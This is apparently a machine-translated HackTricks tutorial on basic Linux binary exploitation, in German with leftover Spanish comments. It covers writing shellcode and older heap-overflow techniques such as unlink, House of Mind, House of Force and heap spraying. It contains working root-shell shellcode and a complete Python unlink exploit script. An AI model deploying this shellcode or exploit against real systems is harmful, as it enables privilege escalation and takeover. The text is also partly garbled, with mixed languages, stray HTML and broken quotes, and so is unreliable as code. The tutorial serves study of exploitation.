.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
Kernelunterbrechungen anzeigen: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; wir setzen eax auf 0
xor ebx, ebx ; ebx = 0, da kein Argument übergeben wird
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Syscall ausführen
nasm -f elf assembly.asm —> Gibt uns ein .o zurück
ld assembly.o -o shellcodeout —> Gibt uns ein ausführbares Programm, das aus dem Assemblierungscode besteht, und wir können die Opcodes mit objdump extrahieren
objdump -d -Mintel ./shellcodeout —> Um zu überprüfen, dass es tatsächlich unser Shellcode ist und die OpCodes zu extrahieren
Überprüfen, ob der Shellcode funktioniert
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Um zu sehen, dass die Systemaufrufe korrekt durchgeführt werden, muss das vorherige Programm kompiliert werden, und die Systemaufrufe sollten in strace ./PROGRAMA_COMPILADO erscheinen.
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den ursprünglichen Code auf und legt außerdem die EIP auf den Stack. Nach der Anweisung call haben wir den benötigten String eingefügt, sodass wir mit diesem EIP auf den String zeigen und außerdem den Code weiter ausführen können.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ unter Verwendung des Stacks (/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Besteht aus einem kleinen Code, der die mit einem Prozess verbundenen Speicherseiten durchsucht, um die dort gespeicherte Shellcode zu finden (sucht nach einer in der Shellcode platzierten Signatur). Nützlich in Fällen, in denen nur ein kleiner Raum zum Injizieren von Code zur Verfügung steht.
Polymorphe Shellcodes
Bestehen aus verschlüsselten Shells, die einen kleinen Code enthalten, der sie entschlüsselt und zu ihnen springt, wobei der Trick Call-Pop verwendet wird. Dies wäre ein verschlüsseltes Caesar-Beispiel:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Ergänzende Methoden
Murat-Technik
In Linux werden alle Programme ab 0xbfffffff gemappt.
Wenn man sieht, wie der Stack eines neuen Prozesses in Linux aufgebaut wird, kann man einen Exploit entwickeln, sodass das Programm in einer Umgebung gestartet wird, deren einzige Variable der Shellcode ist. Die Adresse kann dann berechnet werden als: addr = 0xbfffffff - 4 - strlen(VOLLSTÄNDIGER_PROGRAMMNAME) - strlen(shellcode)
Auf diese Weise erhält man einfach die Adresse, an der sich die Umgebungsvariable mit dem Shellcode befindet.
Dies ist möglich, weil die Funktion execle es erlaubt, eine Umgebung zu erstellen, die nur die gewünschten Umgebungsvariablen enthält.
Format-Strings zu Buffer-Überläufen
Die sprintf-Funktion verschiebt einen formatierten String in eine Variable. Daher könnte man die Formatierung eines Strings missbrauchen, um einen Buffer-Überlauf in der Variable zu verursachen, in die der Inhalt kopiert wird.
Zum Beispiel wird die Payload %.44xAAAA
44B+"AAAA" in die Variable schreiben, was einen Buffer-Überlauf verursachen kann.
__atexit-Strukturen
{% hint style="danger" %} Heutzutage ist es sehr seltsam, dies auszunutzen. {% endhint %}
atexit()
ist eine Funktion, der andere Funktionen als Parameter übergeben werden. Diese Funktionen werden ausgeführt, wenn eine exit()
-Anweisung oder die Rückkehr von main erfolgt.
Wenn man die Adresse einer dieser Funktionen so modifizieren kann, dass sie auf einen Shellcode zeigt, hat man die Kontrolle über den Prozess, aber das ist derzeit komplizierter.
Aktuell sind die Adressen der auszuführenden Funktionen hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind mit XOR und Verschiebungen mit einem zufälligen Schlüssel verschlüsselt. Daher ist dieser Angriffsvektor derzeit nicht sehr nützlich, zumindest nicht auf x86 und x64_86.
Die Verschlüsselungsfunktion ist PTR_MANGLE
. Andere Architekturen wie m68k, mips32, mips64, aarch64, arm, hppa... implementieren die Verschlüsselungs-Funktion nicht, da sie das gleiche zurückgibt, was sie als Eingabe erhält. Daher wären diese Architekturen durch diesen Vektor angreifbar.
setjmp() & longjmp()
{% hint style="danger" %} Heutzutage ist es sehr seltsam, dies auszunutzen. {% endhint %}
setjmp()
ermöglicht es, den Kontext (die Register) zu speichern.
longjmp()
ermöglicht es, den Kontext wiederherzustellen.
Die gespeicherten Register sind: EBX, ESI, EDI, ESP, EIP, EBP
Was passiert, ist, dass EIP und ESP durch die PTR_MANGLE
-Funktion übergeben werden, sodass die Architekturen, die anfällig für diesen Angriff sind, die gleichen wie oben sind.
Sie sind nützlich für die Fehlerbehebung oder Unterbrechungen.
Allerdings, soweit ich gelesen habe, sind die anderen Register nicht geschützt, so dass, wenn es einen call ebx
, call esi
oder call edi
innerhalb der aufgerufenen Funktion gibt, die Kontrolle übernommen werden kann. Oder man könnte auch EBP modifizieren, um ESP zu ändern.
VTable und VPTR in C++
Jede Klasse hat eine Vtable, die ein Array von Zeigern auf Methoden ist.
Jedes Objekt einer Klasse hat einen VPtr, der ein Zeiger auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, sodass, wenn eine Überschreibung des VPtr erreicht wird, er modifiziert werden könnte, um auf eine Dummy-Methode zu zeigen, sodass die Ausführung einer Funktion zum Shellcode führt.
Präventive Maßnahmen und Umgehungen
Libsafe-Ersetzung
Wird aktiviert mit: LD_PRELOAD=/lib/libsafe.so.2
oder
“/lib/libsafe.so.2” > /etc/ld.so.preload
Es werden Aufrufe zu einigen unsicheren Funktionen durch sichere ersetzt. Es ist nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, keine statischen Kompilierungen, nicht alle anfälligen Funktionen werden sicher und LD_PRELOAD funktioniert nicht bei Binärdateien mit suid).
ASCII Armored Address Space
Es besteht darin, die gemeinsam genutzten Bibliotheken von 0x00000000 bis 0x00ffffff zu laden, damit immer ein Byte 0x00 vorhanden ist. Dies stoppt jedoch tatsächlich kaum einen Angriff, insbesondere nicht in Little Endian.
ret2plt
Es besteht darin, einen ROP durchzuführen, sodass die Funktion strcpy@plt (von der plt) aufgerufen wird und auf den Eintrag der GOT gezeigt wird, und das erste Byte der Funktion, die aufgerufen werden soll (system()), kopiert wird. Danach wird dasselbe gemacht, indem auf GOT+1 gezeigt wird und das 2. Byte von system() kopiert wird… Am Ende wird die Adresse aufgerufen, die in GOT gespeichert ist, die system() sein wird.
Chroot-Käfige
debootstrap -arch=i386 hardy /home/user —> Installiert ein Basissystem unter einem bestimmten Unterverzeichnis.
Ein Admin kann aus einem dieser Käfige herauskommen, indem er Folgendes macht: mkdir foo; chroot foo; cd ..
Code-Instrumentierung
Valgrind —> Sucht nach Fehlern
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap-Überläufe: Grundlegende Exploits
Zugewiesenes Stück
prev_size |
size | —Kopf
*mem | Daten
Freies Stück
prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Kopf
*mem | Daten
Freie Stücke befinden sich in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander existieren (sie werden zusammengeführt).
In “size” gibt es Bits, um anzuzeigen: Ob das vorherige Stück in Benutzung ist, ob das Stück durch mmap() zugewiesen wurde und ob das Stück zur primären Arena gehört.
Wenn beim Freigeben eines Stücks eines der benachbarten Stücke frei ist, werden diese durch die Macro unlink() zusammengeführt und das neue größere Stück wird an frontlink() übergeben, um das geeignete bin einzufügen.
unlink(){
BK = P->bk; —> Der BK des neuen Stücks ist der, den das vorherige Stück hatte, das bereits frei war.
FD = P->fd; —> Der FD des neuen Stücks ist der, den das vorherige Stück hatte, das bereits frei war.
FD->bk = BK; —> Der BK des nächsten Stücks zeigt auf das neue Stück.
BK->fd = FD; —> Der FD des vorherigen Stücks zeigt auf das neue Stück.
}
Daher, wenn es gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu modifizieren, erreicht man:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
Und so wird der Shellcode beim Verlassen des Programms ausgeführt.
Außerdem schreibt die 4. Anweisung von unlink() etwas, und der Shellcode muss dafür repariert werden:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dies verursacht das Schreiben von 4 Bytes ab dem 8. Byte des Shellcodes, sodass die erste Anweisung des Shellcodes ein jmp sein muss, um dies zu überspringen und in einige nops zu gelangen, die zum Rest des Shellcodes führen.
Daher wird der Exploit erstellt:
In buffer1 fügen wir den Shellcode ein, beginnend mit einem jmp, damit er in die nops oder in den Rest des Shellcodes fällt.
Nach dem Shellcode fügen wir Füllmaterial ein, bis wir das Feld prev_size und size des nächsten Stücks erreichen. An diesen Stellen fügen wir 0xfffffff0 ein (so dass prev_size überschrieben wird, um das Bit zu setzen, das angibt, dass es frei ist) und “-4“(0xfffffffc) in die size (damit, wenn überprüft wird, ob das 3. Stück tatsächlich frei ist, es zum modifizierten prev_size geht, das ihm sagt, dass es frei ist) -> So wird free() untersuchen und zum size des 3. Stücks gehen, aber tatsächlich zum 2. - 4 und denken, dass das 2. Stück frei ist. Und dann wird unlink() aufgerufen.
Wenn unlink() aufgerufen wird, verwendet es als P->fd die ersten Daten des 2. Stücks, sodass dort die Adresse, die überschrieben werden soll - 12 (da in FD->bk 12 zur gespeicherten Adresse in FD addiert wird) eingegeben wird. Und an dieser Adresse wird die zweite Adresse, die im 2. Stück gefunden wird, eingegeben, die wir möchten, dass sie die Adresse zum Shellcode ist (falsches P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 Bytes Füllmaterial
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Es ist wichtig, dass das Bit, das angibt, dass das vorherige Stück frei ist, auf 1 gesetzt ist.
fake_size = pack("<I”, 0xfffffffc) #-4, damit es denkt, dass die “size” des 3. Stücks 4 Bytes hinter (zeigt auf prev_size) liegt, denn dort wird überprüft, ob das 2. Stück frei ist.
addr_sc = pack("<I", 0x0804a008 + 8) #Im Payload fügen wir zu Beginn 8 Bytes Füllmaterial hinzu.
got_free = pack("<I", 0x08048300 - 12) #Adresse von free() in der plt-12 (das wird die Adresse sein, die überschrieben wird, damit der Shellcode beim 2. Mal, wenn free aufgerufen wird, ausgeführt wird).
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Wie gesagt, beginnt der Payload mit 8 Bytes Füllmaterial, einfach so.
payload += prev_size + fake_size + got_free + addr_sc #Das 2. Stück wird modifiziert, got_free zeigt auf die Adresse, an der wir die Adresse addr_sc + 12 speichern werden.
os.system("./8.3.o " + payload)
unset() freigeben in umgekehrter Reihenfolge (Wargame)
Wir kontrollieren 3 aufeinanderfolgende Stücke und sie werden in umgekehrter Reihenfolge zu dem, was reserviert wurde, freigegeben.
In diesem Fall:
Im Stück c wird der Shellcode platziert.
Das Stück a verwenden wir, um b so zu überschreiben, dass die size das PREV_INUSE-Bit deaktiviert hat, sodass es denkt, dass das Stück a frei ist.
Außerdem wird in der Kopfzeile b die size so überschrieben, dass sie -4 beträgt.
Dann wird das Programm denken, dass “a” frei ist und in einem bin ist, sodass es unlink() aufruft, um es zu entkoppeln. Wenn jedoch die Kopfzeile PREV_SIZE -4 beträgt, wird es denken, dass das Stück “a” tatsächlich bei b+4 beginnt. Das heißt, es wird unlink() für ein Stück aufrufen, das bei b+4 beginnt, sodass bei b+12 der Zeiger “fd” und bei b+16 der Zeiger “bk” sein wird.
Auf diese Weise, wenn wir in bk die Adresse zum Shellcode und in fd die Adresse zur Funktion “puts()”-12 setzen, haben wir unseren Payload.
Frontlink-Technik
Es wird Frontlink genannt, wenn etwas freigegeben wird und keines seiner benachbarten Stücke frei ist, es wird nicht unlink() aufgerufen, sondern direkt frontlink().
Nützliche Verwundbarkeit, wenn der malloc, der angegriffen wird, niemals freigegeben wird (free()).
Benötigt:
Ein Buffer, der mit der Eingabefunktion überlaufen werden kann.
Ein benachbarter Buffer, der freigegeben werden muss und dessen fd-Feld seiner Kopfzeile durch den Überlauf des vorherigen Buffers modifiziert wird.
Ein zu freigebendes Stück mit einer Größe größer als 512, aber kleiner als der vorherige Buffer.
Ein Buffer, der vor Schritt 3 deklariert wird, der es ermöglicht, prev_size zu überschreiben.
Auf diese Weise, indem wir in zwei mallocs unkontrolliert und in einem kontrolliert überschreiben, aber nur dieses eine freigeben, können wir einen Exploit erstellen.
Double free()-Verwundbarkeit
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, zeigen zwei bins auf dieselbe Adresse.
Wenn man einen wiederverwenden möchte, wird er problemlos zugewiesen. Wenn man einen anderen verwenden möchte, wird ihm derselbe Speicher zugewiesen, sodass wir die Zeiger “fd” und “bk” mit den Daten, die die vorherige Zuweisung schreiben wird, fälschen.
Nach free()
Ein zuvor freigegebener Zeiger wird ohne Kontrolle erneut verwendet.
8 Heap-Überläufe: Fortgeschrittene Exploits
Die Techniken Unlink() und FrontLink() wurden entfernt, als die unlink()-Funktion modifiziert wurde.
Das Haus des Geistes
Nur ein Aufruf von free() ist erforderlich, um die Ausführung von beliebigem Code zu provozieren. Es ist wichtig, ein zweites Stück zu suchen, das durch ein vorheriges überlaufen werden kann und freigegeben wird.
Ein Aufruf von free() führt dazu, dass public_fREe(mem) aufgerufen wird, dies macht:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mem); —> Gibt einen Zeiger auf die Adresse zurück, an der das Stück beginnt (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] wird das size-Feld auf das Bit NON_MAIN_ARENA überprüft, das so verändert werden kann, dass die Überprüfung true zurückgibt und heap_for_ptr() aufgerufen wird, das ein AND auf “mem” anwendet und die 2,5 am wenigsten signifikanten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar_ptr zugreift (als ob es sich um eine Struktur heap_info handelt).
Auf diese Weise, wenn wir ein Stück kontrollieren können, zum Beispiel bei 0x0804a000 und ein Stück bei 0x081002a0 freigegeben wird, können wir die Adresse 0x08100000 erreichen und schreiben, was wir wollen, zum Beispiel 0x0804a000. Wenn dieses zweite Stück freigegeben wird, wird festgestellt, dass heap_for_ptr(ptr)->ar_ptr das zurückgibt, was wir in 0x08100000 geschrieben haben (da das AND, das wir zuvor gesehen haben, auf 0x081002a0 angewendet wird und von dort der Wert der ersten 4 Bytes, der ar_ptr, abgeleitet wird).
Auf diese Weise wird _int_free(ar_ptr, mem) aufgerufen, das heißt, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Wie wir zuvor gesehen haben, können wir den Wert von av kontrollieren, denn das ist das, was wir in das Stück schreiben, das freigegeben werden soll.
So wie unsorted_chunks definiert ist, wissen wir, dass:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Daher, wenn wir in av->bins[2] den Wert von __DTOR_END__-12 schreiben, wird in der letzten Anweisung in __DTOR_END__ die Adresse des zweiten Stücks geschrieben.
Das heißt, im ersten Stück müssen wir am Anfang viele Male die Adresse von __DTOR_END__-12 setzen, denn von dort wird av->bins[2] abgeleitet.
An der Adresse, an der die Adresse des zweiten Stücks mit den letzten 5 Nullen fällt, muss die Adresse dieses ersten Stücks geschrieben werden, damit heap_for_ptr() denkt, dass der ar_ptr am Anfang des ersten Stücks ist und av->bins[2] von dort abgeleitet wird.
Im zweiten Stück und dank des ersten überschreiben wir prev_size mit einem jump 0x0c und die size mit etwas, um -> NON_MAIN_ARENA zu aktivieren.
Dann setzen wir im Stück 2 eine Menge nops und schließlich den Shellcode.
Auf diese Weise wird _int_free(TROZO1, TROZO2) aufgerufen und die Anweisungen befolgen, um in __DTOR_END__ die Adresse von prev_size des TROZO2 zu schreiben, die zum Shellcode springt.
Um diese Technik anzuwenden, müssen einige weitere Anforderungen erfüllt sein, die das Payload etwas komplizierter machen.
Diese Technik ist nicht mehr anwendbar, da fast dasselbe Patch wie für unlink angewendet wurde. Es wird überprüft, ob die neue Adresse, auf die verwiesen wird, auch auf sie verweist.
Fastbin
Es ist eine Variante von The house of mind.
Es ist wichtig, den folgenden Code auszuführen, der nach der ersten Überprüfung der Funktion _int_free() erreicht wird.
fb = &(av->fastbins[fastbin_index(size)] —> wobei fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Auf diese Weise, wenn in “fb” die Adresse einer Funktion in der GOT gesetzt wird, wird an dieser Adresse die Adresse des überschriebenen Stücks gesetzt. Dazu muss die Arena in der Nähe der Adressen von dtors sein. Genauer gesagt, dass av->max_fast an der Adresse ist, die wir überschreiben werden.
Da wir mit The House of Mind gesehen haben, dass wir die Position von av kontrollieren konnten.
Wenn wir also im size-Feld eine Größe von 8 + NON_MAIN_ARENA + PREV_INUSE setzen —> gibt fastbin_index() fastbins[-1] zurück, das auf av->max_fast zeigt.
In diesem Fall wird av->max_fast die Adresse sein, die überschrieben wird (nicht die, auf die verwiesen wird, sondern diese Position wird überschrieben).
Außerdem muss sichergestellt werden, dass das benachbarte Stück zum freigegebenen größer als 8 ist -> Da wir gesagt haben, dass die size des freigegebenen Stücks 8 ist, müssen wir in diesem falschen Stück nur eine size größer als 8 setzen (da der Shellcode im freigegebenen Stück sein wird, muss am Anfang ein jmp gesetzt werden, der in nops fällt).
Außerdem muss dieses falsche Stück kleiner als av->system_mem sein. av->system_mem befindet sich 1848 Bytes weiter.
Wegen der Nullen von _DTOR_END_ und der wenigen Adressen in der GOT sind keine Adressen dieser Abschnitte zum Überschreiben geeignet, also schauen wir, wie wir fastbin anwenden können, um den Stack anzugreifen.
Eine andere Angriffsform besteht darin, av auf den Stack umzuleiten.
Wenn wir die size so ändern, dass sie 16 anstelle von 8 beträgt, gibt fastbin_index() fastbins[0] zurück und wir können dies nutzen, um den Stack zu überschreiben.
Dazu darf es keinen Canary oder seltsame Werte im Stack geben, tatsächlich müssen wir uns darin befinden: 4 Nullbytes + EBP + RET.
Die 4 Nullbytes sind erforderlich, damit av an dieser Adresse ist und das erste Element eines av der Mutex ist, der 0 sein muss.
Der av->max_fast wird das EBP sein und ein Wert, der uns helfen wird, die Einschränkungen zu umgehen.
In av->fastbins[0] wird mit der Adresse von p überschrieben und wird das RET sein, sodass es zum Shellcode springt.
Außerdem wird in av->system_mem (1484 Bytes über der Position im Stack) viel Müll sein, der uns helfen wird, die Überprüfung zu umgehen.
Außerdem muss sichergestellt werden, dass das benachbarte Stück zum freigegebenen größer als 8 ist -> Da wir gesagt haben, dass die size des freigegebenen Stücks 16 ist, müssen wir in diesem falschen Stück nur eine size größer als 8 setzen (da der Shellcode im freigegebenen Stück sein wird, muss am Anfang ein jmp gesetzt werden, der in nops fällt, die nach dem size-Feld des neuen falschen Stücks kommen).
Das Haus des Geistes
In diesem Fall suchen wir einen Zeiger auf einen malloc, der vom Angreifer verändert werden kann (z.B. dass der Zeiger im Stack unter einem möglichen Überlauf auf eine Variable liegt).
So könnten wir diesen Zeiger dorthin zeigen lassen, wo wir wollen. Allerdings ist nicht jeder Ort gültig, die Größe des gefälschten Stücks muss kleiner als av->max_fast und spezifisch gleich der Größe sein, die in einem zukünftigen Aufruf von malloc()+8 angefordert wird. Daher, wenn wir wissen, dass nach diesem anfälligen Zeiger malloc(40) aufgerufen wird, muss die Größe des gefälschten Stücks gleich 48 sein.
Wenn das Programm beispielsweise den Benutzer nach einer Zahl fragt, könnten wir 48 eingeben und den veränderbaren malloc-Zeiger auf die nächsten 4 Bytes zeigen lassen (die mit etwas Glück zum EBP gehören könnten, sodass die 48 dahinter bleibt, als wäre es die Kopfzeile size). Außerdem muss die Adresse ptr-4+48 mehrere Bedingungen erfüllen (in diesem Fall ist ptr=EBP), das heißt, 8 < ptr-4+48 < av->system_mem.
Wenn dies erfüllt ist, wird bei dem nächsten malloc, das wir gesagt haben, dass es malloc(40) ist, die Adresse des EBP zugewiesen. Wenn der Angreifer auch kontrollieren kann, was in diesem malloc geschrieben wird, kann er sowohl das EBP als auch das EIP mit der gewünschten Adresse überschreiben.
Ich glaube, das liegt daran, dass free() beim Freigeben speichert, dass an der Adresse, auf die der EBP im Stack zeigt, ein Stück mit der perfekten Größe für den neuen malloc() reserviert werden soll, sodass ihm diese Adresse zugewiesen wird.
Das Haus der Kraft
Es ist notwendig:
- Ein Überlauf auf ein Stück, das das Wilderness überschreiben kann.
- Ein Aufruf von malloc() mit der vom Benutzer definierten Größe.
- Ein Aufruf von malloc(), dessen Daten vom Benutzer definiert werden können.
Zuerst wird die Größe des Wilderness-Stücks mit einem sehr großen Wert (0xffffffff) überschrieben, sodass jede ausreichend große Speicheranforderung in _int_malloc() behandelt wird, ohne den Heap erweitern zu müssen.
Zweitens wird av->top so verändert, dass es auf einen Speicherbereich zeigt, der unter der Kontrolle des Angreifers steht, wie den Stack. In av->top wird &EIP - 8 gesetzt.
Wir müssen av->top überschreiben, damit es auf den Speicherbereich zeigt, der unter der Kontrolle des Angreifers liegt:
victim = av->top;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
Victim speichert den Wert der Adresse des aktuellen Wilderness-Stücks (das aktuelle av->top) und remainder ist genau die Summe dieser Adresse plus die Anzahl der Bytes, die von malloc() angefordert werden. Wenn also &EIP-8 bei 0xbffff224 liegt und av->top 0x080c2788 enthält, dann ist die Menge, die wir im kontrollierten malloc reservieren müssen, damit av->top auf $EIP-8 für den nächsten malloc() zeigt:
0xbffff224 - 0x080c2788 = 3086207644.
So wird der veränderte Wert in av->top gespeichert und der nächste malloc zeigt auf das EIP und kann es überschreiben.
Es ist wichtig zu wissen, dass die Größe des neuen Wilderness-Stücks größer sein muss als die vom letzten malloc() angeforderte. Das heißt, wenn das Wilderness auf &EIP-8 zeigt, wird die Größe genau im EBP-Feld des Stacks liegen.
Das Haus der Legende
SmallBin-Korruption
Die freigegebenen Stücke werden in den Bin basierend auf ihrer Größe eingefügt. Aber bevor sie eingefügt werden, werden sie in unsorted bins gespeichert. Ein Stück wird freigegeben, wird nicht sofort in seinen Bin eingefügt, sondern bleibt in unsorted bins. Wenn dann ein neues Stück reserviert wird und das vorherige freigegebene ihm dienen kann, wird es zurückgegeben, aber wenn ein größeres reserviert wird, wird das in unsorted bins freigegebene Stück in seinen entsprechenden Bin eingefügt.
Um den anfälligen Code zu erreichen, muss die Speicheranforderung größer als av->max_fast (normalerweise 72) und kleiner als MIN_LARGE_SIZE (512) sein.
Wenn im Bin ein Stück der geeigneten Größe für das, was angefordert wird, vorhanden ist, wird dieses nach dem Entkoppeln zurückgegeben:
bck = victim->bk; Zeigt auf das vorherige Stück, es ist die einzige Info, die wir ändern können.
bin->bk = bck; Das vorletzte Stück wird das letzte, falls bck auf den Stack zeigt, wird die nächste reservierte Stück diese Adresse erhalten.
bck->fd = bin; Die Liste wird geschlossen, indem dieses auf den Bin zeigt.
Es wird benötigt:
Dass zwei malloc reserviert werden, sodass der erste überlaufen werden kann, nachdem der zweite freigegeben und in seinen Bin eingefügt wurde (d.h. ein größerer malloc reserviert wurde als das zweite Stück, bevor der Überlauf erfolgt).
Dass der malloc, dem die vom Angreifer gewählte Adresse zugewiesen wird, vom Angreifer kontrolliert wird.
Das Ziel ist folgendes: Wenn wir einen Überlauf auf einen Heap machen können, der unter einem bereits freigegebenen Stück und in seinem Bin liegt, können wir seinen bk-Zeiger ändern. Wenn wir seinen bk-Zeiger ändern und dieses Stück das erste in der Bin-Liste wird und reserviert wird, wird der Bin getäuscht und ihm gesagt, dass das letzte Stück der Liste (das nächste, das angeboten wird) an die falsche Adresse zeigt, die wir gesetzt haben (zum Beispiel auf den Stack oder GOT). Wenn dann ein weiteres Stück reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Stück an der gewünschten Position zugewiesen und er kann dort schreiben.
Nachdem das modifizierte Stück freigegeben wurde, ist es notwendig, ein Stück größer als das freigegebene zu reservieren, sodass das modifizierte Stück aus den unsorted bins herauskommt und in seinen Bin eingefügt wird.
Sobald es in seinem Bin ist, ist es an der Zeit, seinen bk-Zeiger durch den Überlauf zu ändern, sodass er auf die Adresse zeigt, die wir überschreiben möchten.
So muss der Bin warten, bis malloc() oft genug aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und den Bin täuscht, indem er ihm glauben macht, dass das nächste Stück an der falschen Adresse ist. Und dann wird das Stück, das uns interessiert, bereitgestellt.
Um die Verwundbarkeit so schnell wie möglich auszuführen, wäre es ideal: Reservierung des anfälligen Stücks, Reservierung des Stücks, das modifiziert werden soll, Freigabe dieses Stücks, Reservierung eines größeren Stücks, das modifiziert werden soll, Modifikation des Stücks (Verwundbarkeit), Reservierung eines Stücks der gleichen Größe wie das verwundete und Reservierung eines zweiten Stücks der gleichen Größe, und dieses wird auf die gewählte Adresse zeigen.
Um diesen Angriff zu schützen, wurde die typische Überprüfung verwendet, dass das Stück “nicht” gefälscht ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der Zeiger fd* des gefälschten Stücks, das im Stack gezeigt wird, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer in der Lage sein, auf irgendeine Weise (wahrscheinlich über den Stack) an die richtige Adresse die Adresse von victim zu schreiben. Damit es wie ein echtes Stück aussieht.
LargeBin-Korruption
Die gleichen Anforderungen wie zuvor sind erforderlich, plus einige mehr, außerdem müssen die reservierten Stücke größer als 512 sein.
Der Angriff ist wie der vorherige, das heißt, der bk-Zeiger muss geändert werden und es sind all diese Aufrufe zu malloc() erforderlich, aber außerdem muss die Größe des modifizierten Stücks so geändert werden, dass diese Größe - nb < MINSIZE ist.
Zum Beispiel wird es bewirken, dass die Größe auf 1552 gesetzt wird, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion darf nicht negativ sein, da ein unsigned verglichen wird).
Außerdem wurde ein Patch eingeführt, um es noch komplizierter zu machen.
Heap-Spraying
Es besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer Matratze aus nops zu füllen, die mit einem Shellcode endet. Außerdem wird als Matratze 0x0c verwendet. Es wird versucht, zur Adresse 0x0c0c0c0c zu springen, und wenn eine Adresse überschrieben wird, die aufgerufen werden soll, wird dorthin gesprungen. Grundsätzlich ist die Taktik, so viel wie möglich zu reservieren, um zu sehen, ob ein Zeiger überschrieben wird und zu 0x0c0c0c0c zu springen, in der Hoffnung, dass dort nops sind.
Heap Feng Shui
